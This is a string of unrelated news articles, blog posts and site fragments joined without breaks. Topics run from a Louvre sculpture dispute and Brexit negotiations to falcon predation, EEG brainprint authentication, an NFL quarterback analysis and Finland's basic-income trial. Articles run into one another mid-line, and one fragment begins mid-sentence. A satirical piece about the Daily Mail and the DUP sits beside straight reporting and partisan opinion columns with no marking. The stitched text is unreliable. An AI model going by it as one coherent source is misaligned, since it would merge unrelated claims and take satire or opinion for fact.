(continued at North Korea Ministries).
BillionBibles.org ©2018. All Rights Reserved.Giant artwork of buildings having sex too graphic for outside Louvre, going to Pompidou instead
The Louvre in Paris decided that the "Domestikator," the 40-foot-tall installation by Atelier Van Lieshout seen above, wasn't the right fit for the adjacent Tuileries Gardens. The plan was to show it during this month's Fiac! International Contemporary Art Fair.
“Online commentaries point out this work has a brutal aspect,” wrote the Louvre’s director, Jean-Luc Martinez Martinez, in a letter to fair organizers. “It risks being misunderstood by visitors to the gardens.”
The Louvre was also reportedly concerned that in the Tuileries Gardens the sculpture would be too close to a children's playground.
The new plan is that starting next Wednesday, the "Domestikator" will be situated in front of the Centre Pompidou that houses the Musée National d'Art Moderne.
“To have this major piece in front of the Pompidou is a victory,” Julien Lombrail, director of the London-based gallery Carpenters Workshop, which represents Atelier Van Lieshout, told the New York Times. “It’s an incredible moment for Paris and the public, when we have so many issues surrounding art and censorship. It’s important for us to engage for the future.”With Age Comes Hearing Loss and a Greater Risk of Cognitive Decline Hearing impairment is a common consequence of advancing age. Almost three-quarters of U.S. adults age 70 and older suffer from some degree of hearing loss. One unanswered question has been to what degree hearing impairment intersects with and influences age-related cognitive decline. Continue Reading
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The Ways of Wisdom in Schizophrenia While wisdom is closely linked to improved health and well-being, its role and impact among persons with schizophrenia, possibly the most devastating of mental illnesses, is not known. Continue Reading
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Common Acid Reflux Medications Linked to Increased Kidney Disease Risk Proton pump inhibitors (PPIs), which include well-known brand names Prilosec, Nexium and Prevacid, are among the most commonly prescribed medications in the world. Approximately 10 percent of adults in the United States take these drugs for frequent heartburn, acid reflux and gastroesophageal reflux disease. Given their prevalence, researchers at Skaggs School of Pharmacy and Pharmaceutical Sciences at University of California San Diego mined the FDA Adverse Effect Reporting System (FAERS) database for unexpected consequences of PPI consumption. Continue Reading
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Looking for love online may impact how humans evolve Anybody looking for a Valentine’s Day date in cyberspace might want to consider this prediction from an evolutionary biologist: Online dating could affect how humans evolve in the future. Continue Reading
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New 3D printer uses rays of light to shape objects, transform product design A new 3D printer uses light to transform gooey liquids into complex solid objects in only a matter of minutes. Nicknamed the “replicator” by the inventors — after the Star Trek device that can materialize any object on demand — the 3D printer can create objects that are smoother, more flexible and more complex than what is possible with traditional 3D printers. It can also encase an already existing object with new materials — for instance, adding a handle to a metal screwdriver shaft — which current printers struggle to do. Continue Reading
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Greenland ice melting rapidly, study finds Greenland is melting faster than scientists previously thought—and will likely lead to faster sea level rise—thanks to the continued, accelerating warming of the Earth’s atmosphere, a new study has found. Continue Reading
No CommentsEuropean Parliament Brexit boss Guy Verhofstadt today (14 December) threatened to open up separate negotiations with the British, unless EU leaders meet his demand to be included in the UK-EU divorce talks.
The threat is the first crack in the carefully crafted show of unity the EU has displayed since the 23 June referendum.
EU leaders, excluding the UK, will discuss how to handle the negotiations with the British tomorrow evening (15 December) in Brussels.
Draft documents point to them confirming the European Commission will lead the negotiations once Article 50, the legal process taking the UK out of the EU, is triggered.
Michel Barnier, the Commission’s Brexit boss, will be joined in the negotiation room by staff from the Council and the nation holding the six-month rotating Presidency of the EU.
While the Council and Commission will be represented, the Parliament, which must approve the final Brexit deal, will not.
If govt leaders don't take the parliament's role seriously we'll negotiate directly with the British-Watch my speechhttps://t.co/6vjtPeMAec — Guy Verhofstadt (@GuyVerhofstadt) December 14, 2016
That drew a blistering response from Verhofstadt, who is not willing to accept the occasional invitation to attend as a ‘sherpa’.
Speaking in the European Parliament in Strasbourg, he raged, “It’s time that you also involve the Parliament from day one.
“Do you want that we open separate negotiations with the British parliament? Is that what you want? You can get it.
“If that is what the heads of state want, we are going to do it, parallel negotiations. I don’t want it but apparently the Council wants it.”
EU keen to move on with ‘life after Britain’ The EU is keen to move on with life after Britain, and Thursday’s summit – which one official described as “very complicated” – will deal with most of the crises affecting the bloc.
Cracks beginning to show?
The 27 member states, Commission and Parliament have been consistent in their stance of not entering into negotiations before the UK triggers Article 50 and that single market access is indivisible from freedom of movement.
But today’s speech has highlighted divisions between the EU institutions on how to handle the crucial talks.
“What they are proposing is that we go forward with the Brexit negotiations but without the Parliament,” Verhofstadt, the leader of the ALDE Liberal group of MEPs, complained. “Are they not aware that we have to approve these arrangements?”
Addressing a Council representative, Verhofstadt, appointed as the Parliament’s Brexit chief in September, quoted US President Lyndon B Johnson.
“He said once it was better to have him inside the tent pissing out, than outside the tent pissing in,” said Verhofstadt. “Maybe that’s a good reality you can recall to the European Council.”
Farage slams ‘insulting’ choice of Verhofstadt as Brexit boss Guy Verhofstadt was today (8 September) chosen as the European Parliament’s lead negotiator on Brexit, an appointment immediately slammed by Nigel Farage as “insulting”.
After Verhofstadt’s speech, European Parliament President Martin Schulz wrote to European Council President Donald Tusk.
He warned of “grave consequences” if the Parliament was excluded from the Brexit negotiations.
If the Parliament’s “secondary role” were to be confirmed, it cannot exclude deciding to “draw up its own detailed arrangements governing its interaction” with Barnier, and the UK government, he said.
Schulz said the Parliament could veto the final deal. This would mean the EU Treaties would simply stop applying to the UK after the two year negotiation period which begins with the triggering of Article 50.
“This would be the very hardest of Brexits and to the detriment of everybody” he added.
EU leaders of all 28 member states are meeting in Brussels for the Council summit tomorrow. After addressing issues including Syria and migration, the Council will discuss Brexit over a dinner which the UK will not attend.
EU officials: Summit set to be a ‘minefield’ of ‘sensitive, explosive’ stuff Thursday’s summit of EU leaders (15 December) will be a “minefield”, senior EU officials warned on Wednesday (14 December), citing a list of “sensitive, explosive stuff” that could blow up in their faces.Eleonora's Falcon (Falco eleonorae) is mainly insectivorous outside the breeding season. During the latter season, which is very late (from July to October) as an adaptation to coincide with autumnal bird migration, both adults and chicks consume migrating birds (mainly passerines but also small non-passerines like Hoopoe and swifts) that fly through Mediterranean islands and Atlantic coast.
et al. recorded an unusual predation behaviour by this falcon in the Mogador archipelago (Essaouira), off Moroccan Atlantic coast. The authors remarked that Eleonora's Falcons kept alive some of the captured prey. To do this, "the falcons keep or ‘imprison’ some preys in a relatively deep cavity or in a fissure of rocks from where they can’t escape as their flight feathers (both tail and wings feathers) were already pulled out (photo 1 of the Chiffchaff). Or by keeping them trapped in a tight and deep hole which makes them unable to move neither their wings nor their hanging legs (photo 2 of the Common Whitethroat)". During a fieldwork study in the framework of PIM-Initiative in 2014, Qninbarecorded an unusual predation behaviour by this falcon in the Mogador archipelago (Essaouira), off Moroccan Atlantic coast. The authors remarked that Eleonora's Falcons kept alive some of the captured prey. To do this, "the falcons keep or ‘imprison’ some preys in a relatively deep cavity or in a fissure of rocks from where they can’t escape as their flight feathers (both tail and wings feathers) were already pulled out (photo 1 of the Chiffchaff). Or by keeping them trapped in a tight and deep hole which makes them unable to move neither their wings nor their hanging legs (photo 2 of the Common Whitethroat)".
The authors reported also that this behaviour can occur even before the eggs hatch, and was already well known to a local fisherman who is staying in the archipelago in a more or less regular basis for decades.
The authors interpreted this hitherto unknown behaviour for this falcon or for any other raptor species as a form of food storage behaviour. They wrote: “Keeping prey alive, one or two days (the precise period not yet known), may allow the falcon to have a fresh food on the right moment, because the dead prey brought to the nest and untouched can no longer be consumed as it dries out too quickly”.
This unusual predation behaviour was described in this paper published in the last issue of Alauda:
Qninba, A., Benhoussa, A. Radi, M., El Idrissi, A., Bousadik, H., Badaoui B. & El Agbani, M.A. 2015. Mode de prédation très particulier du Faucon d’Éléonore Falco eleonorae sur l’Archipel d’Essaouira (Maroc Atlantique). Alauda 83(2): 149-150.
Common Chiffchaff (Phylloscopus collybita) stored at the bottom of a crevice after it’s wing and tail feathers were pulled out, Mogador island, Morocco, September 2014 (Abdeljebbar Qninba).
Common Whitethroat (Sylvia communis) immobilised in a deep and very small hole, Mogador island, Morocco, September 2014 (Abdeljebbar Qninba).The Daily Mail has expressed admiration for Theresa May for getting some right dodgy bastards to help her out.
The so-called “newspaper” has run a series of articles in the last years lambasting Jeremy “allotment pimp” Corbyn for hanging out with members of the IRA.
“But the DUP are associated with a completely different group of terrorists, so it’s fine to invite them into the government,” confirmed Simon Williams, one of the Daily Mail’s most senior tosspots.
“Plus they’re creationist, anti-abortionist climate change deniers. They’re basically part of our core demographic.
“Theresa May is to be commended for her political antennae here, as are we, to be honest.”
A spokesperson for Number 10 said, “we welcome the Daily Mail’s support.
“Bearing in mind their stance as a poverty-loving, women-hating, gay-bashing roll of used toilet paper, we believe they are going to be absolutely delighted with what we’ve got in store for the next five years.
“Everybody else should probably move to Sweden.”AUSTIN, Tex., — Opting to skip the wait at hospital emergency rooms, an increasing number of Texans are choosing to use urgent care centers that are popping up in strip malls and shopping districts.
Promoting themselves as cheaper and quicker alternatives to hospital emergency rooms, the clinics cater to patients who need stitches, X-rays of broken bones or treatment of allergic reactions. Some clinics have been around for years, and about 300 open each year across the country.
The increasing number of urgent care centers is problematic for Texas hospitals. Hospitals say they are competing with the clinics for the same pool of insured Texans, at a time when they are also getting less money to cover the cost of treating uninsured patients.
“Competition is generally a good thing, but it needs to be a level playing field,” said John Hawkins, senior vice president for government relations for the Texas Hospital Association. (The association is a corporate sponsor of The Texas Tribune.)The way your brain responds to certain words could be used to replace passwords, according to a study by researchers from Binghamton University, published in academic journal Neurocomputing.
The psychologists recorded volunteers’ EEG signals from volunteers reading a list of acronyms, focusing on the part of the brain associated with reading and recognizing words.
Participants’ “event-related potential” signals reacted differently to each acronym, enough that a computer system was able to identify each volunteer with 94 percent accuracy, using only three electrodes.
The results suggest that brainwaves could be used by security systems to verify a person’s identity.
Better than fingerprints or retinal patterns in the eye
According to Sarah Laszlo, assistant professor of psychology and linguistics at Binghamton University and co-author of the Neurocomputing paper, brain biometrics are appealing because they are cancellable (can be reset) and cannot be stolen by malicious means, such as copying a fingerprint.
“If someone’s fingerprint is stolen, that person can’t just grow a new finger to replace the compromised fingerprint — the fingerprint for that person is compromised forever. Fingerprints are ‘non-cancellable.’ Brainprints, on the other hand, are potentially cancellable.
So, in the unlikely event that attackers were actually able to steal a brainprint from an authorized user, the authorized user could then ‘reset’ their brainprint,” Laszlo said, meaning the user could simply record the EEG pattern associated with another word or phrase.
Useful in high-security environments
Zhanpeng Jin, assistant professor at Binghamton University’s departments of Electrical and Computer Engineering, and Biomedical Engineering, doesn’t see brainprint as the kind of system that would be mass-produced for low security applications (at least in the near future*) but it could have important security applications.
“We tend to see the applications of this system as being more along the lines of high-security physical locations, like the Pentagon, where there aren’t that many users that are authorized to enter, and those users don’t need to constantly be authorizing the way that a consumer might need to authorize into their phone or computer,” Jin said.
The project is funded by the National Science Foundation and Binghamton University’s Interdisciplinary Collaborating Grants (ICG) Program.
* Widespread use of low-cost EEG devices could potentially change that.
Abstract of Brainprint: Assessing the uniqueness, collectability, and permanence of a novel method for ERP biometrics
The human brain continually generates electrical potentials representing neural communication. These potentials can be measured at the scalp, and constitute the electroencephalogram (EEG). When the EEG is time-locked to stimulation – such as the presentation of a word – and averaged over many such presentations, the Event-Related Potential (ERP) is obtained. The functional characteristics of components of the ERP are well understood, and some components represent processing that may differ uniquely from individual to individual—such as the N400 component, which represents access to the semantic network. We applied several pattern classifiers to ERPs representing the response of individuals to a stream of text designed to be idiosyncratically familiar to different individuals. Results indicate that there are robustly identifiable features of the ERP that enable labeling of ERPs as belonging to individuals with accuracy reliably above chance (in the range of 82–97%). Further, these features are stable over time, as indicated by continued accurate identification of individuals from ERPs after a lag of up to six months. Even better, the high degree of labeling accuracy achieved in all cases was achieved with the use of only 3 electrodes on the scalp—the minimal possible number that can acquire clean data.What is CodeHalf?
Currently CodeHalf is a simple tracker to help you establish and keep up a habit of writing code and learning every day.
Why every day? Doing something every day establishes a strong habit, think of brushing your teeth for instance. Also by doing a little bit every day you won't spend forever getting going as your last session wasn't that long ago.
So why half an hour? Everyone should be able to squeeze in half an hour a day, whether that's first thing in the morning, lunch time, after work or just before bed. 30 minutes is quite a long time if you don't procrastinate and just get on with things, also it's short enough that if you're just not in the mood, you'll get through it no problem ;)
So how does CodeHalf help me?
I've built this site as a tool to help myself and hopefully others with this habit, some of the things it helps with at the moment:
Visually tracks completed and missed days - This is like the Seinfeld productivity/habit forming method
- This is like the Seinfeld productivity/habit forming method Leave notes of what you've done that day - These can help with reflection at a later date
- These can help with reflection at a later date Make notes for tomorrow - These help you get going straight away the next day
- These help you get going straight away the next day Activity Feed - Chronological history of what you've done and links to what you've done
- Chronological history of what you've done and links to what you've done Topics - Listing things you'd like to get around to doing, record your entries against a topic and discover popular topics from other members
What's next?
You tell me! I've got some ideas and as I'm using this to track my own habit I'll come up with more ideas that can help, some things I've got planned at the moment:
Statistics - Who doesn't love stats?! Longest streak, % of days completed etc
- Who doesn't love stats?! Longest streak, % of days completed etc Public profiles - Public view of your profile where you can share what you've done
- Public view of your profile where you can share what you've done Themes - Preset periods of time to spend on something particular
- Preset periods of time to spend on something particular Theme retrospective - Summary of how your themed week/month went
- Summary of how your themed week/month went Theme resources - Collection of resources useful for a given theme
- Collection of resources useful for a given theme Collaborative Themes or Topics - Working with others to learn/work together
Some great, some terrible, let me know what you'd find useful next belowCHARLESTON, S.C. — Gov. Nikki R. Haley was at home in Columbia last Wednesday night, when the gunman began shooting and killing inside the historic black church here.
At first, she had only partial information, but eventually learned it had happened at Emanuel African Methodist Episcopal Church, where State Senator Clementa C. Pinckney, a Democrat she considered a friendly adversary, presided as pastor.
She called and left Mr. Pinckney a voice mail message, unaware that he was one of the nine victims of a gunman who witnesses said was motivated by racial hatred.
By Saturday morning, calls were mounting for the Legislature to remove what many consider the state’s most visible symbol of racial animus: the Confederate battle flag, which has flown on the grounds of the State House since 1962. Ms. Haley, a Republican who is the first ethnic minority and first woman to serve as governor of South Carolina, decided to reverse her previous position and tell lawmakers they needed to remove the flag once and for all.It’s no secret that Kirk Cousins had had a rough start to the season. While his stats have been solid, they fail to tell the whole story, with Cousins missing open receivers down the field consistently. Against the Ravens, Cousins made a crucial error, throwing his fifth interception of the season. Cousins got lucky as Ravens linebacker C.J. Mosley fumbled the ball out of the end zone while trying to return it for a touchdown, resulting in a touchback for Washington. That has left the interception somewhat overlooked, but I think it’s worth highlighting as part of an emerging pattern of interceptions for Cousins.
The Ravens have safety Eric Weddle walked up close to the line of scrimmage, but he quickly drops back to fill out an otherwise basic cover-two look.
Cousins looks for tight end Jordan Reed, running an in-breaking route behind the underneath zone defenders. Cousins appears to lock in on Reed from the snap and stares him down the whole way. Once Reed cuts across the face of one zone defender, Cousins pulls the trigger. However, he doesn’t realize that the middle linebacker, Mosley, is in the middle of the field and jumps the route. He makes a fantastic leap to pull in the interception.
“I just saw a two-deep shell. I saw a zone coverage.” Cousins explained to reporters after the game. “Felt Jordan (Reed) breaking in behind the zone defenders. You know, obviously in hindsight, didn’t need to throw it over them. Could have put it on the shallow cross coming underneath them. That’s where, you know, when you play zone coverage, those linebackers can do a really good job of just continuing to sink and he made a great play. But obviously, I can go somewhere else with the football.”
The linebackers did do a good job of sinking, but that is what they’re meant to do in zone coverage. It was a great catch by the linebacker, but Cousins was trying to fit it into a window that wasn’t there. If this was a one-off, it wouldn’t be too much of a concern. The problem for Cousins is that this is the third time this season he’s been intercepted by an underneath zone defender sinking back. The first one came back in Week 1 against the Steelers:
The Steelers play another basic coverage, cover-three, on this play. Reed is again the target on a crossing route.
The play is alarmingly similar to Cousins’s interception against the Ravens. He appears to lock on to Reed early. The linebacker follows Cousins’s eyes, sinking deeper into his zone before leaping to make the interception in front of Reed.
[Mailbag: On Kirk Cousins’s inconsistency, and more]
These are interceptions that Cousins cannot afford to make. The coverages are simple, basic zone coverages that he’s seen hundreds of times before. If he’s failing to avoid interceptions to sinking zone defenders against those types of coverages, then he’s likely to struggle against muddier coverages that aren’t quite so clear. That was the case against the Browns.
Here, Cousins looks to hit slot receiver Jamison Crowder on a corner route, but the Browns have their slot cornerback sinking in a zone coverage.
With the use of play-action, I can’t say for sure exactly what coverage the Browns are running. Some defenders bite up on the fake, while others don’t. But the key to focus on is Cousins appearing to lock on to Crowder, while the slot corner peels off his receiver and sinks into his zone. As Crowder cuts to the outside, the corner sinks deeper in his zone and plays the ball, making the interception in front of Crowder.
“The defensive back made a very good play, he’s a zoning defender in that curl-flat area and he sunk off and made the play.” Cousins said after that game. “If you go back and see the film you can see as a result, that Matt Jones, as a result of him sinking, Matt Jones was open in the flat and so that’s in hindsight where the ball would have been able to go and probably get a productive gain and so that slipped out and I’ll take from that.”
[Outsider: A closer look a three clutch plays Will Compton made to beat the Ravens]
Cousins explained how he’ll learn from the mistake, but it still appeared in his game a few weeks later. It appears that Cousins is either not seeing these underneath zone defenders sinking to take away the intermediate routes, or he thinks he can fit the ball in a non-existent throwing window.
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caps for Brazil, moved to the Gunners this summer from Turkish side Fenerbahce in a £6m deal.I'll never forget the day that Nancy Pelosi, then speaker of the Democratic House of the United States Congress, said that impeachment of George W. Bush was "off the table." I'll never forget seeing her on a TV talk show asking the audience if "they knew of any impeachable offenses."
Pelosi was being derelict in her duty as Speaker of the House according to the Constitution and we all know the impeachable unindicted war crimes George W. Bush and his neonconservatives were committing.
So to hear her ask for Rep. Anthony Weiner's resignation on Saturday, June, 11, 2011 over NOT having an affair was amazing. To watch the Democrats turn on Weiner, whose sole crime appears to be... wait, there isn't one (as of yet)... is despicable. This is the party that sat idly by and watched Bush et al do their damage, that never met a war funding bill the didn't like, that sat from 2006-2008 in control of the House and didn't remove a soul.
But somehow a grown man sending naked photos of himself to grown women is just too much for them? Launching two illegal occupations? That's fine. Destroying the economy and then handing trillions, yes, trillions to your friends as you exit office, that's fine with Pelosi and her ilk. But a grown man sending a grown woman or women naked pictures of himself is too much? You mean all we had to do to get George W. Bush out of office was to... ick, never mind, even conjuring the image is too much. But it's true. Bush screwed us, and got two terms. Clinton got screwed by Republicans over an intern and got impeached, and Weiner just sent photos without ever really meeting any of the women and he's just screwed period. Now that's some priorities.
Normally, my blogs are 1000 words are more. But this is just ridiculous and really short and sweet. Democrats, the only body part we want you interested in is a spine; so stop obsessing over Weiner. We want less talk about Anthony's weiner and more talk about how you are going to stand up to the Republicans in Congress and their ridiculous demands when it comes to the budget. The Bush Tax Cuts are now 10, AIDS is now 30, Iraq is coming up on a decade, then Afghanistan. Libya is now three months old and will move in a year before we know it. There's 2100 sustained foreclosures a day, the housing double dip is official and no matter what Obama and others may say, the average worker's economic outlook is bleak.
Those aren't "serious" issues, they are country-ending crises and taking even one moment on Weiner and the nonscandal is unforgivable. Let Mrs. Weiner work it out. She worked for Hillary Clinton, she's no wuss.
So stop always thinking the worst crime a person can commit is a sexual one: at George Bush's orders over 100,000 Iraqi's and 4000 Americans died, dead, never to Tweet again. In Iraq last week five soldiers died, five, the bloodiest day since 2009, they'll never use a social network again. Then the United States approves three billion dollars for "private contractors" (read Xe) to protect diplomats in Iraq once we leave at the end of the year, three billion we don't have and you made comments all week about the appropriateness of a man's actions in front of his HOME computer or his PRIVATE Blackberry with GROWN WOMEN.
All I can say is Weiner may be a reckless, immature husband, but Democrats, you are proving to be negligent, self-centered representatives always missing the point.TORONTO, March 23 (UPI) -- The city of Toronto will pay 100 individuals $100 each to sit on streets posing as homeless people when it conducts its headcount of street people next month.
An e-mail message sent to city agencies said the volunteers will have to attend a 30-minute training seminar to be "decoys," have their locations assigned and then be given a $100 prepaid Visa card, the Toronto Sun reported.
In 2006, the city did its first Street Needs Assessment that also included decoys as a control measure and estimated there were 5,052 homeless people living on the streets and in shelters across the city, the newspaper said.
Homeless advocate Michael Shapcott of the Wellesley Institute told the Sun the $10,000 the city is giving away to decoys would be better spent going directly to shelters.
"The decoys are supposed to look like homeless people but a lot of homeless people don't look like homeless people because it's a survival strategy," he said.While lawmakers are unlikely to pursue an impeachment of President Donald Trump any time soon, that didn’t stop protesters from hitting the streets in Los Angeles on Sunday to demand his ouster.
Thousands of protesters assembled for the march in the city’s downtown, the Los Angeles Times estimated, while more than 12,000 indicated on the event’s Facebook page that they were attending. It was one of the biggest turnouts for the nearly 50 impeachment marches organized around the U.S. on Sunday by a group of volunteers, who raised money for the events on crowdfunding sites. They did not identify any partner groups.
“Impeachment is a political process, and it’s is enshrined in the Constitution. We cannot afford to have a president that breaks the law,” LA march organizer Tudor Popescu said at the rally, pointing to former FBI director James Comey’s testimony that Trump asked him to drop the investigation into former National Security Adviser Michael Flynn’s ties to Russia.
Event organizer Tudor Popescu makes his case for impeachment of Trump at march in downtown LA. pic.twitter.com/A1BxAvR7YO — Brenda Gazzar (@bgazzar) July 2, 2017
While some Democratic lawmakers have called for Trump’s impeachment, the lengthy process likely remains far off. Others have pumped the brakes on such talks, saying such efforts may alienate voters the party needs to win seats in the 2018 midterm elections.
Sunday’s marches in Los Angeles and around the country are the latest protests in the wake of the Senate delaying a vote on its version of the health care bill, which would undo the Affordable Care Act and leave up to 22 million fewer people with health insurance by 2026, the Congressional Budget Office estimated.
RINGO CHIU via Getty Images Demonstrators hold signs in Los Angeles.
They also come in the wake of a particularly inflammatory week on Trump’s Twitter account. Earlier that morning, in an apparent endorsement of violence against journalists, Trump tweeted a doctored video of himself beating up a CNN logo. He also went after MSNBC “Morning Joe” hosts Joe Scarborough and Mika Brzezinski on Thursday morning, insulting Brzezinski’s appearance in two sexist tweets.
RINGO CHIU via Getty Images Protesters march through downtown Los Angeles.
As has become more common in recent months, Los Angeles’ anti-Trump rally was countered with a pro-Trump gathering outside the Los Angeles Police Department headquarters.A top American environmentalist group today slammed the over its ruling against India's solar localisation policies for US firms.
Alleging that almost half of US states have a programme like that of India, the top environmentalist group urged the US to drop its case against India.
Read more from our special coverage on "WTO" US lauds WTO ruling against Indias localisation rules
"The ruling is a step in the wrong direction, away from the climate progress that the global community committed to achieve in December's Paris climate agreement," Ilana Solomon, director of the Sierra Club's Responsible Trade Program, said after ruled against what it described as a common-sense solar energy initiative in India that is a core component of the country's contribution to the Paris agreement to tackle climate disruption.
By offering solar power companies government subsidies and long-term contracts, India's programme has already rapidly scaled up solar energy.
The programme aims to achieve 100,000 megawatts of solar power capacity by 2022 — more than the current solar capacity of the world's top five solar producers combined, it argued.
The WTO ruled against India's ambitious solar programme because its first phase requires power companies to use solar cells and modules made in India in order to benefit from the government-subsidised programme.
"Clean, renewable energy like solar is becoming cheaper in the US and abroad, creating new jobs, helping us move beyond coal and other dirty fuels and solve the climate crisis. We cannot afford to let decades-old, over-reaching trade rules trump policies that can create new green jobs and accelerate the transition to 100% clean energy," Solomon said.
"Almost half of US states have programmes that, like India's, offer incentives for renewable energy production that creates local, green jobs. The US should drop this case to avoid undermining climate protections abroad and at home," Solomon demanded.
"This decision is a warning against expansive trade deals like the Trans-Pacific Partnership that would replicate rules that undermine clean energy initiatives and constrain climate progress. Destructive trade deals like the Trans-Pacific Partnership go far beyond trade and interfere with commonsense policies needed to solve the climate crisis," the group said.
"Congress should view this ruling as another reason to stand up for green jobs and climate action by rejecting the Trans-Pacific Partnership," Solomon said.
The is America's largest and most influential grassroots environmental organisation, with more than 2.4 million members and supporters.A gun control rally at Capitol Square in Richmond, Va., on Jan. 20. (Photo: Bob Brown, AP)
For a sense of how extreme some gun-rights advocates have become — and why Congress won't pass even modest firearms safety laws — consider what happened to history professor and longtime gun enthusiast Dick Metcalf. When he recently wrote in his Guns & Ammo column that the Second Amendment right to "keep and bear arms" is not unlimited, Metcalf suddenly became the enemy.
Readers reacted in fury, and gun makers threatened an advertising boycott. The magazine quickly caved, firing Metcalf and apologizing in a way that sounded like the confessions the Chinese Communist Party used to extract from counter-revolutionaries.
"Our commitment to the Second Amendment is unwavering," said editor Jim Bequette. "In publishing Metcalf's column, I was untrue to that tradition, and for that I apologize."
OPPOSING VIEW: Who's being unreasonable?
Gun-rights absolutists assert that language contained in the Second Amendment — "the right of the people to keep and bear arms, shall not be infringed" — means no restrictions, period.
But last we looked, it was up to the Supreme Court to interpret the Constitution, and that's not what the court said in its landmark 2008 decision upholding an individual's right to own guns. "Like most rights, the right secured by the Second Amendment is not unlimited," conservative Justice Antonin Scalia wrote. He added that limits on who can buy weapons, what kind they can own and where they can carry them are constitutional.
The decision, which resolved decades of argument, was cheered by bedrock Second Amendment stalwarts such as the National Rifle Association. But reasonableness has been purged. Gun groups and their members seem to vie now to see who can be more extreme and who can promote the most expansive guns-everywhere legislation in statehouses. Their destructive one-upmanship substitutes tunnel vision for reason.
Two more recent examples:
Vivek Murthy, President Obama's well-qualified nominee to be surgeon general, once had the temerity to support an assault weapons ban and doctor-patient discussions about gun safety. Now the NRA is threatening to punish anyone who votes to confirm him, and Murthy's nomination is in deep trouble.
"Smart guns," which use electronics to stop anyone but their owners or other authorized people from firing them, would help save lives, especially in homes where parents keep loaded weapons. But after the first smart gun went on sale in California, gun advocates so intimidated the store owner that he pulled the gun from his shelves — ironically depriving people who want such weapons of the ability to own one. This is gun rights?
Despite the hysteria that too often distorts the gun debate, a few things should be clear by now. The nation has debated gun ownership and resolved it in gun owners' favor, politically and in the nation's highest court.
What's left to decide are what measures can keep guns away from criminals and the dangerously mentally ill, saving some of the more than 30,000 lives lost to gun violence every year. That will require the Second Amendment absolutists to show more respect for the rights of others.
USA TODAY's editorial opinions are decided by its Editorial Board, separate from the news staff. Most editorials are coupled with an opposing view — a unique USA TODAY feature.
Read or Share this story: http://usat.ly/1g2ekkJThe headlines are shocking: "Finland plans to pay everyone in the country $876 a month"; "Finland plans to give every citizen a basic income of 800 euros a month"; "Finland plans to give every citizen 800 euros a month and scrap benefits."
The reality is a little less wild. Finland is definitely not close to paying "everyone in the country" or "every citizen" — not yet, anyway. What it is doing is weighing a proposal for a basic income: an approach to welfare in which residents would get a flat amount of money every month, regardless of how rich they are.
Finland is, however, conducting a pilot project, with a tiny fraction of the Finnish population participating, according to Olli Kangas, director of research at Kela, the Finnish Social Insurance Institution that runs basic unemployment, health, family, and many other benefit programs. Kangas and his research team have been tasked by the Finnish government with presenting proposals for testing out a basic income.
So, no, a European country is not on the verge of adopting a basic income. If the trial is a success, they could go all in, but that could be years off. Nonetheless, Finland is on the verge of conducting the most methodologically rigorous and comprehensive test of basic income to date. And that alone is a big deal.
How Finland is going to test out a basic income
The reason Finland is doing this now is thanks to Juha Sipilä — Finland's center-right prime minister — who took office in May after his Centre Party won the largest bloc of seats in parliamentary elections. The party's platform promised to bring a "new political culture of bold experiments," of which the basic income trial is to date by far the boldest. Sipilä has been publicly supportive of the idea of a basic income, and Kangas says the government has set aside €20 million (a little under $22 million) to fund the trial. The basics are laid out in the following PowerPoint presentation, which Kangas forwarded to me:
The consortium running the experiment — headed by Kangas but including researchers at various research centers, think tanks, and universities — plans to file an interim report on March 30 and a final report on November 15 that will lay out how exactly the experiment is to proceed. It will begin in 2017 and last for two years. So far, the consortium has already polled the Finnish population and found widespread support for the idea: 69 percent of Finns reported support for a basic income, with the median respondent calling for a minimum of €1,000 a month ($1,083).
The €800-a-month figure reported in the international press is just illustrative, Kangas says: "€800 is just one sum, nothing more," he wrote in an email. "Nothing is fixed yet. It can be any other sum or many other sums." Indeed, Kangas is looking to test more than one model. He emphasizes that nothing is fixed yet. The research group only makes suggestions, and political decision-makers will then determine which models, which research settings, which target groups, and what benefits levels will be experimented with in 2017 and 2018.
There are four options he says ought to be considered and evaluated:
A full basic income, which would replace most means-tested benefits. "It should be a rather high sum," Kangas writes. "Our basic pension is about €750 a month." However, he emphasizes that this can't replace all safety net programs, especially because unions in Finland help run the unemployment insurance system, and displacing them could cause the unions to hemorrhage members and lose political influence. A partial basic income, about €550 ($596) a month, which Kangas says is on the level of basic government unemployment benefits (as distinct from the parallel union system). This option would preserve many existing benefits. A negative income tax, in which benefits would phase out as people earn more money. For example, under a $10,000-a-year negative income tax with 50 percent phase-out, a household with no income would get $10,000, a household with $10,000 in income would get $5,000, and so on, until the household is making $20,000 and getting no benefits. Miscellaneous other approaches. One possibility Kangas suggests is simply merging some existing benefits — basic unemployment allowance, minimum sick leave and maternity benefits, etc. — and then adding additional payments to reward desirable behavior, like caregiving and volunteering. This would create a kind of participatory income.
This degree of comprehensiveness puts the Finnish experiment far ahead of basic income trials in the past. US experiments from the 1970s not only focused exclusively on the negative income tax model, but they also only targeted existing welfare recipients. Utrecht, Netherlands, is conducting an experiment, but it's also only giving money to people already getting benefits. By trying a bunch of different models and not merely limiting the checks to existing welfare recipients, Finland's trial could give us much more meaningful results than past experiments.
The difficulties of doing a national experiment
Ideally, Kangas told me, he'd like to take several different kinds of samples. In the scientifically ideal research setting, there would be a national lottery so he gets a representative random sample of Finns across the country who'll receive a basic income. But he also wants to do regional lotteries that are regionally representative, and then lotteries confined to large towns. He also wants there to be some smaller municipalities that have a large portion of their populations (30 percent, say) get checks. In the PowerPoint, he suggests that in a couple of districts 100 percent of households could get checks.
The idea is to see what happens to a community under a basic income, rather than just to individual people. Having a whole town get benefits could have cascading effects as households escape poverty, as some people use the income guarantee as insurance so they can take risks and form companies, as universities see increased enrollment from people better able to afford supplies, etc. "If people in a smaller area are getting the benefits, their behavior vis-a-vis other people will change, employers and employees will change their behavior, encounters between clients and their street-level bureaucrats (social workers, employment offices, etc.) will change, and the interplay between different bureaucracies will change," Kangas says.
These externalities are not possible to catch in a national random sample, but the national random sampling makes for more reliable results on a household level. Thus, the combination of random nationwide sampling with local experiments would yield the most reliable results. But before any experiments start, all the models, their costs and distributional effects — who wins and who loses — will be evaluated by rigorous microsimulation, Kangas says.
A community-level trial has only really been tried once before, in Dauphin, Canada, in the 1970s, and the results were quite positive. While the more poorly designed US studies suggested that a negative income tax could deter people from work, in Dauphin only mothers of young children and teenagers appeared to work less; it's not as clear working less is a bad thing when it takes the form of maternity leave, or when it leaves young adults more time for studying and volunteering. Dauphin was instructive, but a more contemporary trial in Finland could provide still better evidence about what happens when an entire town comes under a basic income regime.
There are some ways in which the trial will necessarily be limited. It only lasts two years, and people's behavior after getting a benefit they know will be taken away shortly could differ from their behavior under a permanent basic income system.
